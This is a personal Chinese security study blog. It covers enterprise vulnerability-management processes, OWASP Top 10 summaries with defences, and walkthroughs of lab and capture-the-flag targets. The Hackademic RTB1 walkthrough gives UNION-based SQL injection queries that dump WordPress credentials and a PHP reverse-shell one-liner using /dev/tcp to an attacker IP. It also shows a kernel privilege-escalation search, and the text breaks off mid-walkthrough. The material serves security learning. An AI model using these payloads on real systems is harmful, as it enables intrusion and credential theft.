个人学习时对安全最原始的近距离接触就是安全漏洞,企业中也不例外。

前段时间就有幸参与并且落地了一些与漏洞管理相关的项目。与个人学习差距较大的地方在于,甲方企业对安全漏洞的最核心最关键需求就是“闭环漏洞”,这里涉及到的不仅是如何发现、如何修复之类技术问题,整体建设的思路、运营的流程、运营与管理流程中业务方与安全方视角的切换,环环相扣,都非常重要。

目前阶段我理解的“安全事件管理与漏洞管理”的终极目标,就是“结果导向,解决问题”。发现问题很重要但不是目的,如何解决问题降低安全风险才是最终目的。忽略对修复结果的追踪、缺少标准化流程来对漏洞状态进行持续管理,会导致修复周期长、漏洞无法闭环等问题。

基础安全建设

公司最初的安全管理形式是“甩文档,甩表格”,原始低效。最大问题是人工成本太高,尤其是公司资产数量不少,扫描出的漏洞数量也不少,拉群与业务方同学逐个沟通,管理起来比较费劲。而且业务同学普遍在漏洞修复这件事上很不积极(这涉及到企业员工安全意识建设,另开一篇博客说)就导致漏洞修复效率奇低。严重漏洞还比较有压力,修复速度很快,从高危往后的漏洞修复,大家的效率会随着漏洞等级的降低逐级递减。

这时候如果有平台、有机制规范修复的整体流程的话,问题想必会得到很大缓解。好的流程可以让人自觉地进入“管束”状态,对解决问题本身是很有益的。

流程依赖两个必要条件:

  • 一个好用的漏洞管理平台
    • 管理平台可以减少重复的人力劳动,提高安全运营效率。
  • 公司资产管理
    • 管理公司资产,也可以将发现的安全问题及时给到业务侧修复。

漏洞管理平台

  • 报警管理:

漏洞管理平台所汇集的信息来源是多方的,包括外部报告(渗透测试、SRC)、HIDS、威胁情报、扫描器。每个报警源低耦合、可插拔、易扩展。

  • 漏洞全生命周期管理

以上告警信息经人工研判后,需要将有效漏洞导入漏洞管理平台,并将安全问题分发至业务线。可以通过安全调度中心或企业工单等自动化流程分发。

  • 流程:漏洞发现 ➡️ 漏洞验证 ➡️ 漏洞分发 ➡️ 业务修复 ➡️ 复测 ➡️ 打回/延期/关闭 ➡️ 结束

  • 全程留痕(日志等)

  • 支持表格/图表导出

  • 模版化

常见/常规的漏洞描述、危险描述、修复方案可以模版化存储到漏洞知识库中。

  • 权限控制

漏洞owner只允许访问自己负责修复的漏洞的信息。做好权限的分类分级。(基于功能模块,基于角色)

  • 扩展性与易用性
    • 与其他平台/流程的打通。(如加入到工单中)
    • 开放API
    • 支持批量操作

ps:对于安全侧,定期的数据分析和统计是必要的,常见的例如dashbord页面,实时展示不同统计维度、多种漏洞数据情况,同时漏洞运营的监控指标也可以在这个页面实时显示,便于运营同学及时发现问题。

为什么在业务侧也需要做数据分析,一方面是业务真的有这种诉求(安全意识较高的业务),他们希望了解每季度甚至每月对体系内部的安全风险情况;另一方面从安全的角度,让业务侧能看见这些“触目惊心”的漏洞数据,也是警示和提醒。

资产管理

安全问题的处理自然离不开业务部门的参与,安全漏洞更需要细粒度到资产属主、定位到人,因此需要具备公司各类资产的全量接口,如:域名、IP、主机名、容器名、实例名等,以及各类资产之间的映射关系查询,以确保安全问题定位的准确性和实效性。

除了上述提到的常见类型资产,指纹库、第三方组件库的建立也是很必要的,尤其是fastjson、struts 2这类安全漏洞爆发时,如何在快速应急也是对安全的考验。 由于资产的动态性,内部梳理是一部分,也需要外部视角的资产探测来做补充,也正是由于资产动态变化这个特性,这往往也是实际工作中的难点和痛点。

流程

基础安全建设的前提下,将漏洞管理平台的运行与运营流程结合起来,让整个系统进入良好运转状态。

  • 关键点:闭环
    • 时效性要求:对于高、中、低不同等级的漏洞有不同的修复优先级和时效性要求。
    • 通知渠道覆盖:安全平台以工单形式自动化将问题下发至业务,通过邮件、IM、短信等通知渠道将工单状态的变更实时同步至业务和安全。
    • 周期提醒、过期升级抄送:对业务进行周期性修复提醒,若在规定时间内未修复将安全问题逐级上升至业务侧管理角色,督促整改,确保安全问题处置的时效性保证闭环率。
    • 人工定期review流程:不断优化迭代运营流程。

优化策略:定期的数据统计和分析,可以发现流程和机制上的gap点,及时改进。

  • 协同与通知

协同的重要作用之一是促进业务方与安全方效率协同,效率协同就需要彼此理解,需要同步安全与业务的认知。

  • 从上至下推进:首先是安全制度层面,明确各类资产、虚拟资源的安全职责,出了安全问题谁来担责(安全制度一定要经过高层review确认和背书,具备权威性)。
  • 明确接口人机制:在每个业务体系设立安全负责人、安全接口人角色(也需要在制度层面达成一致),有职责和义务配合安全,牵头推进该业务体系安全问题的处理。
  • OKR协同:OKR协同机制,将安全任务拆解至业务的OKR里(前提也是需要沟通达成一致),形成“契约”后让业务能主动推进。

安全review意识

  • 针对外部报告的各种漏洞、情报,甚至是一次突发的应急事件、红蓝对抗等,安全需要对内部各能力线进行审视,内部安全能力是否有覆盖、是否该覆盖、是否能覆盖、资产是否有遗漏、安全能力是否存在gap点、安全流程是否存在改进空间等,需要不断优化迭代内部的安全能力,不断提高纵深防御水平。

  • 风险分析:漏洞管理起源于漏洞,但绝不止于漏洞。从一个安全漏洞可以深挖的东西很多,如:业务逻辑业务形态是怎样的,他们为什么会出现这类问题,在现有安全需求下出现这类问题是否合理,安全能力还能做什么,发生这个问题的根因是什么、以及背后潜在的可能风险面等等,可以更加发散的来看。

    • 基于以上两点,举个简单的例子:

      比如业务侧被发现存在一个fastjson某个版本的RCE漏洞并且被getsehll了,从这个问题知道业务侧代码大概率是使用JAVA的,那么现在安全能力是否有定期的在进行扫描,是否有被扫描到,如果有被提前扫描到,那么业务侧为什么当时没有修复,是漏洞信息未触达业务还是业务不会修、不能修;

      如果内部没有提前扫描出来,那么安全就需要反思排查了,是组件库/指纹库/POC 没覆盖、不准确还是压根这台机器就不在我们的资产库里;

      除了扫描的问题,被反弹shell了,websehll检测、HIDS是否有报警,如果没报警是为什么,机器不覆盖还是规则不覆盖还是什么其他原因,若是有报警,为什么安全侧未提前发现,报警功能是否还正常、报警处理流程是否不够高效导致处理滞后….

      从业务侧来说,是测试机还是开发机,测试机严格讲是不允许部署在外网的,这说明业务侧开发部署上线流程不规范,至少是存在安全隐患的;

      从发现的这一台机器来看,业务侧是否还有别的部署了该版本fastjson的机器,除了fastjson其他JAVA类的组件是否还应该排查;

      从整个公司范围来说,单个业务出现这类case,其他业务是否也会有,是否需要进行针对性的排查………

  • 数据分析:精细化运营少不了对数据的分析解读,对安全来说需要定期查看数据、指标,是否在阈值范围内,近期漏洞数量/类型变化情况,安全是否需要采取新的控制措施;各业务线漏洞的分布情况,哪些业务目前安全风险较大,是否需要进一步了解等;

针对业务方,可以定期给业务线安全接口人/负责人等管理角色推送安全数据以及风险评估报告。

Reference:https://www.cnblogs.com/ffx1/p/15406732.html

在自我梳理过后搜到上面这篇博客。很高兴我的前面的大部分想法与作者不谋而合,这件事本身也是对我自己的一种激励~😆

👉🏻TOP1:越权漏洞 Broken Access Control

简介

主要分为水平越权和垂直越权。

  1. 水平越权:普通用户拥有其他平行级别用户的权限

  2. 垂直越权:跨越自身所属用户组,获取更高级别用户的权限(比如管理员权限)

常见情况

  1. 通过修改url、内部应用程序状态或HTML页面绕过访问控制检查,或简单地使用自定义的API攻击工具

    网站以用户提交的id判断用户是否具有信息查询权限并返回用户提交id对应的用户信息

    避免方式:根据用户本身的Session判断当前用户是否拥有读取个人信息权限

    漏洞利用示例:攻击者A利用抓包工具将自动发送的查询请求中的userid修改为B用户的id,就可以查询到B用户的信息;未加密且用的是get请求时,通过修改url里的userid直接登入其他用户的账号

  2. 特权提升,垂直越权

    用户具有阅读文章权限而不具有编辑文章权限,阅读文章的接口是read_article。权限保护方式基于接口名称的秘密

    漏洞出现原因:可以猜测到修改文章的接口是edit_article

    漏洞利用示例:攻击者A根据阅读文章的接口名称是read_article猜测修改文章的接口名称是edit_article,调用该接口,实现垂直越权

  3. 修改Cookie中参数

    早期的网站设计会在Cookie中加入“admin = true”标识用户是否具有管理员权限

    漏洞出现原因:Cookie不同于Session,Cookie中的参数存储在用户浏览器上,可以直观展现给用户;Session存储在服务器端,比Cookie安全

    漏洞利用示例:攻击者A掌握网站的Cookie规律后

    ​ 方法①:通过JavaScript代码重置 document.cookie 内容越权

    ​ 方法②:抓包将“admin = false”修改为“admin = true”

  4. 系统权限回收有问题

    漏洞出现原因:网站保留了注销用户信息而没有把它从用户表中删除,而仅仅对该用户是否有效这个字段进行了标记

    漏洞利用示例:攻击者A注册时保留与注销用户B同样的用户id,覆盖了原用户的信息单保留了元用户的权限

检测方法

未授权访问与水平越权:cookie伪造;修改返回包中某个参数的值(比如false改为true);水平越权常见与业务系统中,对用户信息或者订单信息进行增删改查操作时,用户编号和订单编号常常有规律可循,测试人员通过burpsuit的intruder对目标参数进行遍历测试即可

垂直越权:将cookie中的false改为true;文件上传与下载漏洞可以通过./和../绕过,admin权限验证绕过也可以尝试这种方法

如何预防?

将访问控制限制在仅在受信任的服务器端代码或者无服务器API中,这样攻击者就无法修改访问控制检查或元数据

  1. 合理划分网站权限,设置功能验证,验证失败禁止访问

  2. 最小权限原则。除公有资源外,其他资源默认情况下拒绝访问,限制用户不必要的权限,用户权限过期后收回

  3. 进行严格的权限判断,用户只能操作属于自己的内容。此处权限判断需要识别用户身份,识别用户身份基于Session而非Cookie验证(即在服务器端进行验证)

  4. 记录失败的访问控制,适当时候对管理员进行告警(比如银行卡密码最多输入三次三次输错需要重新验证/找管理员更改密码,不能无限次试。避免了暴力破解)

  5. 对API和控制器的访问进行速率限制(避免高速爆破),最大限度降低自动化攻击工具的危害(也会有后续处置,比如后台发现某个ip多次异常尝试且多次失败,就把ip封了)

补充知识

  • 网站会给用户分配不同的Session(会话标识符)维持用户对话

👉🏻TOP2:加密机制失效 Cryptographic Failures

简介

通常是缺乏加密措施或者加密失效导致敏感数据泄露

常见情况

  1. 以明文方式传输数据,未执行加密
  2. 使用旧or弱加密算法或协议
  3. 使用弱加密密钥、重复使用弱加密密钥、缺少适当的密钥管理和轮换、不小心将加密密钥提交到了源代码数据库中
  4. 接收到的服务器证书和信任链没有经过正确验证

如何预防?

  1. 使用安全协议对所有数据进行传输加密
  2. 使用最新版且标准的强演算法、协定及密钥;使用适当的密钥管理
  3. 使用经过身份验证的加密而不仅仅是加密

攻击范例

  1. 情境1:某应用程序加密了存储在数据库中的信用卡号,但却在检索数据时自动解密,因此容易受到 SQL 注入攻击,导致信用卡号被泄露
  2. 情境2:网站没有强制使用 TLS 或支持弱加密,导致攻击者能够通过网络监控、降级 HTTPS 连接为 HTTP,并截取会话 cookies,从而劫持用户的会话并访问或修改其隐私数据。攻击者还可以篡改传输的数据,例如修改汇款收款人信息
  3. 情境3:密码库使用简单的散列函数存储密码,没有使用盐值或者使用了简单的盐值。由于上传文件的漏洞,攻击者可以访问密码库,未经盐值加密的哈希密码可以被预先计算的彩虹表破解。即使使用了盐值,如果哈希函数简单或快速,仍然容易受到 GPU 加速破解(PS:“盐”指随机生成的额外字符串)

👉🏻TOP3:注入攻击 Injection

web对用户输入的内容的合法性判断不严或者过滤不严,攻击者在web应用程序中事先定义好的查询语句的结尾添加额外的执行语句,在管理员不知情的情况下进行非法操作,奇葩数据库执行非授权的任意查询,进一步得到数据信息。

其本质是对于输入的检查不充分,导致SQL语句将用户提交的非法数据当做语句的一部分来执行,简言而之就是用户提交的数据代入数据库的查询。

SQL注入:把SQL命令插入到Web表单递交或者输入域名或者页面请求的查询字符串,欺骗服务器执行恶意SQL命令

SQL注入分类:所有与用户进行交互的地方都可能存在注入

  1. 基于数据类型:字符串类型注入;整型注入

  2. 基于程度和顺序的注入:一阶注入;二阶注入

  3. 基于从服务器收到的响应

  4. 基于错误的SQL查询

  5. 联合查询的类型

  6. 堆查询注射

  7. SQL盲注:基于布尔;时间;报错

注入思路

  1. 判断是否存在注入,类型是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表

盲注思路

  1. 判断是否存在注入,类型是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 猜解数据库名
  4. 猜解数据库表名
  5. 猜解表中字段名
  6. 猜解数据

防范方式

  1. 关闭SQL错误回显
  2. 使用成熟的WAF
  3. 前端输入字符白名单验证(长度、类型)
  4. SQL服务运行专门的账号并且使用最小权限
  5. 对输入的特殊字符进行转义处理

👉🏻TOP4:不安全设计

产生原因

开发软件时在关键的身份验证、访问控制、业务逻辑和关键流部位没有进行安全的设计

漏洞利用

业务逻辑的体现

  1. 支付逻辑
  2. 密码找回
  3. 验证码:暴力破解;重复使用;客户端回显;绕过;自动识别

支付逻辑漏洞

修改支付价格、状态;修改购买数量;修改优惠券和积分;修改支付接口;多重替换支付;重复支付;最小额和最大额支付;无限制试用

场景

  1. 使用burpsuit抓包并且修改原始数据(用户界面数据无法更改,前端有封装),将运费金额30修改为9.9
  2. 把state的值从2修改为1,这样随机输入的密码也会被识别为真,导致任意密码重置

👉🏻TOP5:安全配置不当

通常由于不安全的默认配置、不完整的临时配置、不必要的功能启用或者安装、开源云储存、错误的http标头配置、包含敏感信息的详细报错信息。因此不仅要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级

案例

  1. Tomcat、Apache服务器后台弱口令和服务器的不当配置容易被利用
  2. 中国电信交换机弱口令
  3. 行业内设备(比如华为的SmartAXMT调制解调器初始ip和默认密码是xxxxx都是已知的网上能找到的)

防范

  1. 按照加固手册加固
  2. 搭建最小化平台,这个平台不包含任何不必要的功能、组件、文档和示例,移除或者不安装不适用的功能和框架
  3. 临时文件及时删除

👉🏻TOP6:组件问题(API 框架 库 )

组件(例如库、框架、其他软件模块)拥有和应用程序相同的权限。如果应用程序中有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或者服务器接管,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御,造成攻击产生影响

场景

  1. 某个组件出现新的漏洞,攻击者可能凭借这个情报利用这个组件漏洞攻击应用程序(信息不对称)

防范

  1. 移除不使用的依赖、不需要的功能、组件、文件和文档
  2. 仅从官方渠道获取组件,并使用签名机制来降低组件被篡改或被加入恶意漏洞的风险
  3. 持续监控CVE、NVD等是否发布已使用组件的漏洞信息,可以使用软件分析工具来自动完成此功能,订阅组件漏洞最新信息的邮件以获取即时信息

👉🏻TOP7:认证及验证机制失效(密码交互存在问题)

错误使用应用程序的身份认证和会话功能管理,使攻击者能够破译密码、密钥或者会话令牌,或者利用其他开发缺陷冒充其他用户身份。web程序开发者过于专注程序功能开发,可能会建立自定义的认证和会话方案,这可能会存在漏洞。可能会在推出、密码管理、超时、密码找回、账户更新等方面存在漏洞。

也就是说在密码等重要数据进行交互的过程中程序存在问题,并且被利用

情景

  1. 应用程序没有实施自动化威胁保护或撞库攻击保护的情况下,使用已知列表密码撞库(比如旧密码泄露)
  2. 使用明文、加密或者弱散列密码或者用户重复使用同一种密码,容易被暴力破解(不是特殊加密方法的话密码破解可能会很快)
  3. 缺少或失效的多因素身份验证
  4. 暴露url中的会话id
  5. 会话ID使用时间过长

防范

  1. 使用多因素身份验证

  2. 检查弱口令,模拟爆破操作

  3. 对API和控制器的访问进行速率限制,限制或逐渐延迟失败的登录尝试(避免高速爆破),最大限度降低自动化攻击工具的危害(也会有后续处置,比如后台发现某个ip多次异常尝试且多次失败,就把ip封了

  4. session id 每隔一段时间就生成新的高度负责的新随机会话id。这个id不能出现在url中,登出、闲置、绝对超时的时候就使其失效

👉🏻TOP8:软件和数据完整性失效 Software and Data Integrity Failures

简介

软件更新、关键资料(critical data)、持续集成/持续部署(CI/CD)流程等关键内容没有经过完整性验证导致产生的漏洞

软件更新:指在已发布的软件版本中修复漏洞、增加功能或改进性能等目的而发布的新版本

关键资料:软件更新过程中使用的关键数据,比如用户隐私信息、安全凭证、加密密钥等

持续集成/持续部署(CI/CD)流程:旨在通过自动化构建、测试和部署流程来实现快速、频繁的软件发布。持续集成是指频繁地将开发人员的代码集成到共享存储库中,持续部署是指自动将通过测试的代码部署到生产环境中

没有经过完整性验证:指的是在软件更新过程中,假设了某些关键资料的完整性已经被验证,或者假设了CI/CD流程的整体安全性和正确性,而实际上并没有进行充分的验证。这样的假设可能导致漏洞或安全风险的存在

常见情况

  1. 不安全的序列化和反序列化:当对象或数据被编码或序列化成攻击者可以看到和修改的结构时,容易受到不安全的反序列化攻击
  2. 依赖不受信任来源:应用程序来自不被信任的来源,包括一些不被信任的外部库、内容传递网络(CND)、库或者模组
  3. 不安全的持续集成/持续部署 (CI/CD) 流程:不安全的集成/部署(CI/CD)流程可能导致未经授权的访问、恶意代码注入或系统破坏
  4. 自动更新的安全性问题:很多应用程序会进行自动更新,在缺乏完整性验证的情况下把更新包应用到之前信任的应用程序上。这里攻击者可以上传自制的所谓“更新”内容在所有应用程序上运行,达到窃取信息等目的

如何预防?

  1. 使用数字签名或者类似的机制验证软件数据来源正确且未被更改
  2. 使用可信任度较高的库和依赖项;确保安全工具验证组件不包含已知漏洞;尽量保证代码在构建和部署过程中的完整性;确保有代码审计和配置更改的审查流程,避免恶意代码或者恶意配置被引入软件流程
  3. 确保未签名或未加密的序列化数据不被发送到不受信任的客户端,除非有完整性检查或者数字签名来检测数据是否被篡改或重放。

防范举例

安卓手机,通过官方的应用商城安装软件相对比较安全,因为应用商城会对更新包和软件包进行检测以防范这种漏洞。如果从浏览器或者其他途径下载软件手机会警告用户软件可能不安全。

👉🏻TOP9:安全记录记录和监控失效

概念

自己内部的检查能力不足,没办法在别人攻击自己的时候发现自己被攻击了

场景

  1. 印度一家大型航空公司发生涉及数百万乘客超过十年包括护照及信用卡资料等个人资料的资料泄漏。资料泄漏发生在第三方供应商提供的云端服务,该供应商在资料泄漏发生一段时间后通知航空公司。

  2. 未记录可审计的事件,如登录、登录失败、高额交易

  3. 告警和错误事件未能产生或者产生不足和不清晰的日志信息

  4. 日志信息仅在本地存储,日志信息可能被消掉

  5. 没有利用应用系统、API的日志信息监控可以活动

  6. 对于实时或者准实时攻击,应用程序无法检测、处理和告警

防范

  1. 确保所有的登录、访问控制失效、输入验证失败能够被记录到日志中去,保留足够的用户上下文信息,识别可疑或者恶意账户,为货期取证预留时间

  2. 日志集中管理、备份

  3. 审计信息保存在只能增加不能删除的数据库中

  4. 建立有效的告警机制,使可疑活动在可接受的范围内被发现和应对

👉🏻TOP10:SSRF-服务器端请求伪造

攻击者利用服务器上的应用程序,发送伪造请求到服务器内部或者其他内网,从而达到攻击的目的

  1. 限制访问权限:确保服务器上的应用程序只能访问必要的资源,避免访问敏感的内部网络资源。

  2. 过滤和验证输入: 对用户输入进行有效的过滤和验证,确保输入的URL是合法的且安全的,防止攻击者利用URL参数进行攻击。

  3. 使用白名单: 配置白名单,只允许应用程序访问特定的URL或者IP地址,从而避免访问未经授权的资源。

  4. 使用防火墙和WAF: 配置防火墙和Web应用程序防火墙(WAF),监控和过滤服务器上的入站和出站流量,阻止恶意请求和攻击。

  5. 更新和维护: 定期更新和维护服务器上的软件和组件,修复已知的漏洞和安全问题

XXE

应用程序解析XML文件时包含了对外部实体的引用,攻击者传递恶意包含XML代码的文件,读取指定服务器资源

防范:

  1. 使用简单的数据格式(如JSON),避免对敏感数据序列化
  2. 服务器端实行白名单验证、过滤、清除,防止在XML或者标题中出现恶意数据
  3. 及时更新或者修复应用程序和底层操作系统使用的所有XML处理器和库

CSRF-跨站请求伪造

利用用户在某个网站上已经登录的身份,在用户不知情的情况下,在另一个网站上执行一些非法操作

已经在购物网站上登录,然后收到一封看起来很正常的电子邮件。点击邮件中的链接,不知不觉地执行了一个操作,比如购买了一件商品或者更改了密码

  1. 在每个表单提交或者敏感操作中包含一个随机生成的Token,并在后端进行验证。这个Token在每次请求中都会发生变化,攻击者无法伪造有效的Token,从而阻止了CSRF攻击。
  2. 限制cookie的发送范围,只允许来自同一站点的请求携带Cookie,防止跨站请求伪造
  3. 服务器端对请求的Referer进行验证(HTTP头中有一个字段叫Referer,它记录了该请求的来源地址),确保请求来源合法
  4. 执行敏感操作的请求,需要用户进行双重确认,比如输入密码、验证码等
  5. 对于执行敏感操作的Session,设置短暂有效期,减少攻击者利用的时间窗口
  6. 使用POST方法而不是GET方法来执行敏感操作

XSS-跨站脚本攻击

将可执行的前端脚本代码(一般为JavaScript)植入到网页中,通过利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

反射型:攻击者将JS代码作为请求参数放置URL中,诱导用户点击,落入陷阱
存储型:将攻击脚本入库存储,在后面进行查询时,再将攻击脚本渲染进网页,返回给浏览器触发执行

DOM型:它和反射型以及存储型XSS的区别在于,DOM XSS的代码并不需要服务器解析响应的直接参与,触发XSS靠的是浏览器的DOM解析,可以认为完全是客户端的事情。

防御方式

  1. 输入验证和过滤: 对用户输入的内容进行严格的验证和过滤,确保其中不包含恶意脚本。可以使用白名单过滤、转义特殊字符等方式来防止
  2. 输出编码:使用合适的编码方式编码,防止浏览器误将其中的内容解析为可执行的脚本。常用的编码方式包括HTML编码、URL编码等。
  3. HTTP头部设置: 在HTTP响应头中设置合适的Content-Security-Policy(CSP)头部,限制页面加载的资源和执行的脚本
  4. 将敏感信息存储在HttpOnly Cookie中,这样即使页面存在XSS漏洞,攻击者也无法窃取到Cookie中的敏感信息。

Reference:

OWASP官网

《Web漏洞解析与攻防实战》

W1r3s靶场攻击

思路:由于是内网渗透,首先进行主机的扫描来发现目标主机,之后对目标主机进行端口扫描查看开放的端口,在这里发现其21端口允许匿名登陆,以此为攻击点,对其进行漏洞脚本扫描,得到 /wordpress/wp-login.php,发现其漏洞,之后进行ftp匿名登录,将worktodo.txt以及employee-names.txt下载下来,得到一个新的ftp服务器以及两个字符串,访问nmap得到的 /wordpress/wp-login.php发现为一个登陆页面,常见的用户名密码登陆失败,决定进行目录爆破,在这里使用gobuster工具进行目录爆破,得到三个结果,挨个访问得到一个安装页面,在此页面中发现为cuppa cms,接下来进行cuppa cms渗透,通过cuppa cms的利用文件,可发现漏洞在 /alerts/alertConfigField.php中,查看发现为使用post方法传递参数并且将他拼接至前面文件中包含过来,使用curl命令得到密码的内容,发现加密,使用John进行破解得到破解后的密码,最后使用ssh获取shell与提权,通过破解过的密码成功获取root权限。

攻击工具:nmap,gobuster,John

防御方法:关闭匿名登陆

shop1靶场

思路:首先尝试默认登录后台未成功,使用阿D注入工具(SQL注入的渗透测试工具)扫描注入点,等到两组登录信息,登录成功。尝试上传一句话木马,更改为.jpg格式,将图片与木马链接上传并抓包。在信息路径下添加888.asp.jpg,进行00截断(利用了字符串的结束标识符“0x00”的特性,攻击者可以在目标文件名或URL中手动添加字符串标识符,将后面的内容进行截断,从而绕过某些安全检测),木马添加成功,在菜刀工具中输入木马路径即可修改任意文件。

攻击工具:阿D注入工具、菜刀、MD5

防御方法

密码强度和保护(启用多因素身份验证可以增加额外的安全层)

安全配置和更新(及时更新软件和操作系统,以及设置适当的安全组和防火墙规则)

输入验证和过滤(对所有用户输入进行验证和过滤)

文件上传安全控制(限制上传的文件类型和大小并设置合适的文件存储路径和命名规则。)

安全扫描和监控(定期进行安全扫描和监控,以发现和修复潜在的安全漏洞)

访问控制和权限管理(实施严格的权限管理策略)

尤里的复仇-sql注入

攻击思路和原理:sql注入与数据库对话,获得账号和密码,进入后台,上传木马,最后连接菜刀,达到控制网站的目的。

防御方法:防御sql注入可以将sql语句转化成无法执行的sql语句,这样攻击者就无法和数据库进行对话。

尤里的复仇-信息收集1

攻击思路和原理:通过御剑扫描后台,这里是二级目录,然后获得flag

防御方法:后台路径如果和大家的认知一样,就很容易被发现,因此设计网站时需要把后台的路径名设置的和认知不一样。

尤里的复仇-绕过WAF

网站做了WAF过滤防护,因此用cookie注入进行绕过,获得账号和密码,再用御剑扫描,获得后台路径,输入账号密码,得到flag

红日靶场

思路:首先进行网络配置,添加一个外网,一个内网。将攻击机kali第一个适配器连接互联网,第二个使用外网。将web服务器(win7),一个适配器连内网,第二个连外网。开始进行web渗透,通过端口扫描、目录爆破等尝试操作,进行信息收集,主要目的是为发现有关目标系统的漏洞,这是后续进行攻击的前提。接下来是利用漏洞:目录爆破发现了后台登录(phpmyadmin页面),通过bp暴力破解之后成功登录,之后在SQL界面尝试用日志写下一句话木马getshell,成功执行。通过webshell将探测等攻击文件成功植入(目标主机)win7,拿到权限。之后就进入到,权限维持和内网渗透的步骤了主要收集是关于域控的环境探测的信息,接着尝试使用远程桌面连接控制失败,用msf创建并运行木马尝试修改密码,提权成功。获取了域用户的密码信息,然后开始内网主机探测(扫描内网网段),至此内网信息收集结束。最后是横向移动:对域控渗透并进行IPC连接。让域控访问win7的指定端口,win7监听指定端口并将监听到的流量转发给kali的指定端口,在攻击机(kali)上监听,成功获取域控的shell。

Hackdamic

思路

①主机发现和端口扫描

②Web渗透:发现cms是WordPress 1.5.1.1,searchsploit发现可能存在SQL注入漏洞。在超链接Uncategorized的url下可以看到参数cat,尝试添加单引号’发现报错并回显了SQL查询语句,找到了SQL注入的位置。

③手工进行SQL注入,通过order by确定列数,再通过联合查询执行我们想要的代码。Google搜索WordPress的数据库结构,构造我们的查询语句。

④文件上传:拿到凭据后,登录WordPress后台,设置允许上传php文件,并上传反弹shell的php代码,得到了文件上传的路径。开启nc监听后,访问shell.php路径,触发了代码执行,拿到了初始Shell。

内核提权:由于内核版本老旧,寻找内核提权的exp,成功提权。

防御方法

-防御SQL注入,采取以下措施:

1.输入过滤:对用户输入的数据进行过滤和验证,确保其中不包含任何恶意的SQL查询语句。

2.参数化查询:使用参数化查询或预编译语句来减少SQL注入攻击的风险。

-防御文件上传漏洞,采取以下措施:

1.文件类型检查:对用户上传的文件进行类型检查,只接受可信的文件类型。

2.文件内容验证:在上传文件后,对文件内容进行检查,确认其是否符合预期的格式和结构。

3.文件名处理:对用户上传的文件名进行检查和处理,避免文件名中包含特殊字符或路径遍历漏洞。

4.文件存储位置:将上传的文件存储在非web根目录下。

5.文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。

6.输入过滤和验证:对用户上传的文件名和其他相关字段进行输入过滤和验证,确保其中不包含恶意代码。

7.权限控制:为不同用户分配不同的上传权限,并根据需要对上传文件进行审核或审查。

扫描虚拟机

编辑虚拟机设置

信息收集

Nmap扫描

可以看到开放的端口和对应的服务

Port service
22/tcp ssh
80/tcp web

Attempt to access port 80

scan information on web page

Plug-in viewing framework

http://192.168.182.131/Hackademic_RTB1/?p=’…’

http://192.168.182.131/Hackademic_RTB1/?cat=1

反弹shell

使用dirsearch scan

没有结果,换一个路径

找到后台

有两种方法:1. sql注入

​ 2. 弱密码爆破

查看网页源代码看看有没有cms的信息

我们直接看到这个cms是WordPress的1.5.1.1版本。然后可以searchsploit一下有啥漏洞:

重点观察版本匹配的开头两个,说存在SQL注入,因此接下来的渗透重点关注SQL注入

尝试SQL注入吧,在参数最后加一个引号,把参数改为cat=1’

报错了,而且回显了数据库查询语句:SELECT * FROM wp_categories WHERE cat_ID = 1\' LIMIT 1

先尝试获取数据库到底有多少列,通过order by [num]的方法(按照第[num]列排序),只要页面没有出现报错,就说明数据库至少有[num]列。order by 5是的界面如下

order by 6时出现了报错,说明数据库中一共有5列数据:

接下来用联合查询的方法进行注入,思考SQL查询语句,要保证后台执行我们的联合查询union select语句,只要将cat_ID的值设置为0,这样就无法查询到结果,相当于只执行了union select的语句。如果将url中的参数改为cat=0 union select 1,2,3,4,5那么SQL查询语句将会是:

1
SELECT * FROM wp_categories WHERE cat_ID = 0 union select 1,2,3,4,5 LIMIT 1

LIMIT 1限制了只会显示一条结果,由于SELECT * FROM wp_categories WHERE cat_ID = 0无法查询到结果,因此相当于只执行了select 1,2,3,4,5 LIMIT 1,界面如下:

此处非常关键,注意上图中引号内的内容变为了2,因此select 1,2,3,4,5这个语句中2的位置可以进行查询,并回显到前端,我们可以把2修改为version()以查询MySQL的版本,这样参数修改为cat = 0 union select 1,version(),3,4,5结果如下:

回显了版本

由于WordPress是非常著名的cms,他的配置是固定的,可以Google查到WordPress1.5.1.1对应的数据库结构

找到了wordpress 1.5.1版本下存在的表的结构,有一个名为wp_users的表,下面有user_login,user_pass,user_level(用户名,密码,权限)等关心的列

1
select id,user_login,user_pass,user_level from wp-users

比如可以查询user_login试试cat=0 union select 1,user_login,3,4,5 from wp_users

成功查到了一天账号GeorgeMiller,但受限于LIMIT 1,我们只看到了这一个用户,此时可以用group_concat函数让一行内显示所有信息:

1
cat=0 union select 1,group_concat(user_login),3,4,5 from wp_users

把id,user_login,user_pass ,user_level这几个都注入出来

可以找到权限级别user_level最高的用户是GeorgeMiller,他的user_level是10,然后我们破解他的密码哈希7cbb3252ba6b7e9c422fac5334d22054

很容易得到是md5,然后找个在线网站Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online破解即可:

密码是q1w2e3

下面通过用户名GeorgeMiller,密码q1w2e3登录WordPress后台

设置允许php文件上传

设置成功后,我们可以发现菜单中出现了Upload界面,我们可以上传一个反弹shell的php文件,即shell.php,代码如下,其中10.10.10.128是kali的ip,1234是一会接收shell的端口:

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?> 

上传成功且路径是/wp-content/,下面只要开启nc监听,并访问/wp-content/shell.php即可接收到反弹shell

nc监听成功收到了反弹shell

最后进行内核提权

先用python增强shell的交互性:

python -c “import pty;pty.spawn(‘/bin/bash’)”

查看当前用户,是apache,然后查看内核版本,是2.6.31

用sudo -l查看当前用户权限:需要密码。此路不通

由于22端口的SSH服务没有开放,所以对于提权来说,寻找SSH登录密码是没有意义的,而我们看到的内核版本又比较老旧,因此可采用内核提权的方法。在searchsploit中搜索Linux kernel 2.6.3版本的提权漏洞

1
searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' 

尝试15258.c,发现可以提权,过程如下,先把漏洞利用文件下载下来

